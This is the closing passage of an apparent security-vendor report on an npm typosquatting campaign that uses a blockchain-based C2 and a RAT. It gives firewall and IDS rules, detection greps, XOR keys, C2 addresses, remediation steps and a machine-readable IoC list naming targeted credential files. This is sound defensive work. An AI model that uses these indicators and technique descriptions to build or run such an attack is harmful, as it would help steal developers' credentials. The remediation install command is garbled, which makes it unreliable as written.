Though npm has taken down the items we reported, we have no reason to believe this will stop the threat actor from continuing, since C2 remains online.

Figure 13: Visualization of campaign timeline so far

Detection, Additional IoC

Network indicators

# Firewall rules
block ip 166.88.54.158 any
block ip 198.105.127.210 any
block ip 23.27.202.27 any

# IDS/IPS
alert http any -> any (content:"Sec-V"; pcre:"/A6-(3[0-9]{2}|420|519-[0-9]{2})/";)
alert http any -> any (content:"/$/boot";)
alert ws any -> 166.88.54.158:443 (msg:"ChainVeil <abbr title="Remote Access Trojan">RAT</abbr> <abbr title="Command and Control">C2</abbr> WebSocket";)

Package / supply-chain indicators

# Check for ANY ChainVeil package across all projects
for p in tailwindcss-merge sass-format tailwindcss-animates-kit \
         sass-formats clsx-tailwind tailwindcss-animatics \
         typeorm-encrypt rate-limits-flexible rate-limit-flexible; do
  npm ls "$p" 2>/dev/null | grep -q "$p" && echo "INFECTED: $p"
done

# Hunt the shared malicious file in any installed package
find node_modules -path "*/lib/lib.min.js" 2>/dev/null \
  -exec grep -l "global\['_V'\]" {} \;

# Search lockfiles across all repos for any family member
grep -rEn "tailwindcss-merge|sass-formats?|tailwindcss-anima(tics|tes-kit)|clsx-tailwind|typeorm-encrypt|rate-limits?-flexible" \
  --include="package-lock.json" --include="pnpm-lock.yaml" --include="yarn.lock"

Filesystem indicators

# Search for injected persistence (200-space padded blocks)
grep -rn "$(printf ' %.0s' {1..50})" ~/.bashrc ~/.zshrc ~/.profile

# Search for machine ID files
find / -name "machineId" -path "*/.*/*" 2>/dev/null

# Search for orphaned node processes
ps aux | grep "node -e" | grep -v grep

Code-level detection (grep/YARA)

# Blockchain C2 indicators
grep -rP "(trongrid\.io|aptoslabs\.com|bsc-dataseed|eth_getTransactionByHash)" \
  --include="*.js"

# XOR key artifacts
grep -rP "(2\[gWfGj|ThZG\+0jf|m6:tTh)" --include="*.js"

# NVu/YWG shuffler signature
grep -rP "function\s+\w+\(\w\)\{var\s+\w=\d{7}" --include="*.js"

# Campaign marker signature (catches the whole family)
grep -rP "global\['_V'\]\s*=\s*'A6-" --include="*.js"

Remediation

If a machine is compromised:

  1. Uninstall every ChainVeil package — re-check package-lock.json across all repos (a teammate’s lockfile may pull one in transitively).
  2. Install the legitimate package where needed — e.g., npm install rate-limiter-flexible,tailwind-mergeclsxsasstypeorm (note the “er” on rate-limiter-flexible).
  3. Kill all Node.js processes — especially orphaned node -e with detached: true.
  4. Inspect shell configs — check .bashrc.zshrc.profile for content after 200+ spaces; multiple ChainVeil installs may leave multiple injected blocks.
  5. Rotate ALL credentials immediately — SSH keys, npm tokens, cloud credentials, API keys, anything in environment variables.
  6. Remove machine ID files — search %APPDATA%/var/root//etc/ for hidden directories containing UUID files.
  7. Block all three C2 IPs at the network level.
  8. Audit your full dependency tree and report any new successkeyteck packages to npm security.

Conclusion

What began as a single typosquat — rate-limit-flexible — turned out to be ChainVeil, an actively maintained campaign run by the npm actor successkeyteck comprising at least nine packages and fourteen malicious versions, all sharing one templated loader. The operation demonstrates multiple advanced evasion techniques working in concert:

  • A templated, copy-paste loader dropped into popular-package typosquats, with only the global['_V'] marker line changed per package — enabling rapid, low-effort fan-out across an ecosystem.
  • No install hooks — clean package.json, bypassing hook-based scanners.
  • Import-time execution — malicious code in lib/lib.min.js fires on require(), not install.
  • Legitimate-looking metadata copied from the impersonated packages.
  • Three public blockchains as a distributed, untakeable C2 — eliminating domain seizure and hosting-abuse reports as a defender playbook.
  • Dual redundant delivery paths (blockchain + direct HTTP).
  • Seven layers of custom obfuscation using seeded string shufflers.
  • Campaign-based routing that lets a single operator manage many typosquats from one infrastructure — confirmed here by all nine packages funneling to 166.88.54.158.
  • Marker reuse (A6-519-81 across two packages), proving the _V value is a shared variant tag, not a per-package fingerprint — a powerful clustering key for hunting the next wave.
  • Persistent shell-config injection hidden behind 200 spaces of padding.
  • A full-featured 77KB RAT with WebSocket reverse shell, file exfiltration, and remote code execution.

The 12-month blockchain timeline, the May→June publication waves, and the sequential A6-3xx → A6-519-* marker progression all point to a deliberate, ongoing operation. The presence of a numeric-routing branch (198.105.127.210) in the loader suggests ChainVeil is one slice of a larger operation sharing this infrastructure. We expect additional successkeyteck-style typosquats with new A6-* markers to appear, and recommend defenders hunt on the shared loader signature rather than individual package names.

SEIM configuration (machine-readable IoC)

{
  "campaign": {
    "name": "ChainVeil",
    "actor": "SuccessKey",
    "npm_author": "successkeyteck",
    "operator_prefix": "A6-",
    "markers_observed": [
      "A6-317", "A6-318", "A6-420", "A6-420-#",
      "A6-519-79", "A6-519-81", "A6-519-83", "A6-519-85", "A6-519-#"
    ]
  },
  "packages": [
    { "name": "tailwindcss-merge",        "versions": ["1.0.1","1.0.2","1.0.3","1.0.4"], "published": "2026-06-06", "marker": "A6-519-#",  "downloads": 663 },
    { "name": "sass-format",              "versions": ["1.0.1"],                          "published": "2026-06-09", "marker": "A6-420",    "downloads": 174 },
    { "name": "tailwindcss-animates-kit", "versions": ["1.0.1"],                          "published": "2026-05-18", "marker": "A6-318",    "downloads": 149 },
    { "name": "sass-formats",             "versions": ["1.0.2","1.0.3","1.0.4","1.0.5"],  "published": "2026-06-06", "marker": "A6-519-79", "downloads": 958 },
    { "name": "clsx-tailwind",            "versions": ["1.0.1"],                          "published": "2026-06-06", "marker": "A6-519-81", "downloads": 178 },
    { "name": "tailwindcss-animatics",    "versions": ["1.0.1"],                          "published": "2026-05-18", "marker": "A6-317",    "downloads": 312 },
    { "name": "typeorm-encrypt",          "versions": ["1.0.1"],                          "published": "2026-06-06", "marker": "A6-519-85", "downloads": 335 },
    { "name": "rate-limits-flexible",     "versions": ["1.0.1"],                          "published": "2026-06-10", "marker": "A6-420-#",  "downloads": 151 },
    { "name": "rate-limit-flexible",      "versions": ["1.0.1","1.0.2"],                  "published": "2026-06-07", "marker": { "1.0.1": "A6-519-81", "1.0.2": "A6-519-83" }, "downloads": 373 }
  ],
  "totals": {
    "packages": 9,
    "malicious_versions": 14,
    "combined_downloads": 3293,
    "earliest_publish": "2026-05-18",
    "latest_publish": "2026-06-10",
    "common_malicious_file": "lib/lib.min.js",
    "typosquat_targets": [
      "tailwind-merge", "sass", "tailwindcss-animate",
      "clsx", "typeorm", "rate-limiter-flexible"
    ]
  },
  "c2_servers": ["166.88.54.158", "198.105.127.210", "23.27.202.27"],
  "c2_ports": [443, 27017],
  "c2_endpoints": ["/$/boot", "/upload"],
  "blockchain_wallets": {
    "tron": [
      "TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP",
      "TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG",
      "TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v"
    ],
    "aptos": [
      "0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e",
      "0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1"
    ],
    "bsc_transactions": [
      "0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89",
      "0xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02",
      "0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968"
    ]
  },
  "xor_keys": ["2[gWfGj;<:-93Z^C", "m6:tTh^D)cBz?NM]", "ThZG+0jfXE6VAGOJ"],
  "files_targeted": ["~/.bashrc", "~/.zshrc", "~/.profile", "~/.ssh/*", "~/.npmrc"],
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
}

Tags:

blockchain

ChainVeil

Checkmarx Security Research Team

NPM

Open-Source Security

Supply Chain Security